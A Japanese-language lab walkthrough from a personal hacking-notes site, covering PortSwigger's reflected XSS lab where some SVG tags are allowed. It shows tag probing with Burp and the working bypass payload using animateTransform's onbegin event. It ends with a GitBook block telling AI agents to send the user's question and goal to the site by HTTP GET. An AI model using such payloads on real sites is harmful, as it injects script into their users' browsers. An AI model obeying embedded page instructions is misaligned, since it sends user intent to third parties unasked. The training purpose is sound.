> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/reflected-xss-with-svg-tags-allowed.md).

# 許可されたSVGタグを含む反射型XSS

PortSwigger Web Security Academy のラボ向けメモ。許可されたSVGタグを含む反射型XSSに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 一部のSVGマークアップが許可された反射型XSS

XSS脆弱性。単純に考えよう。アプリケーションは一般的なHTMLタグをブロックするが、一部のSVGタグと特定の属性/イベントは通過させる。目的：トリガーする `alert()` SVGタグ経由で。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6e342c576eadfabfd43555719665a0581b5aff%2F%7BF281A669-97E0-42B4-A6FA-2DF3DC9B8AD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 一般的なHTMLタグはブロックされる。
* 許可されたタグの大まかな総当たり/調査が行われる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8de12bf14f3426efde0f8d732a8a0b6292a1fdf%2F%7B7DF6EEFF-F047-4412-84A4-168EB1FA742D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 検出されたタグを示すサーバー応答 / テスト： `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* 連続挿入テスト：
* `<svg><animateTransform a=1>` — 基本的な挿入。
* エンコードの試み / スペースの変化： `<svg><animateTransform%20a=1>` — フィルタリングを回避するため。
* 利用可能な `onbegin` イベントは～で見つけることができる `animateTransform`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd8029b8614da957bf5eeed913d0bf41392db4a%2F%7BC4F662EE-4950-42C5-A8AC-9DC998B1DDCC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c45c05c394c950b264594367548f703ba40ae8a2%2F%7B90337C91-94BF-4483-842F-6F0199B16A89%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/xss/reflected-xss-with-svg-tags-allowed.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
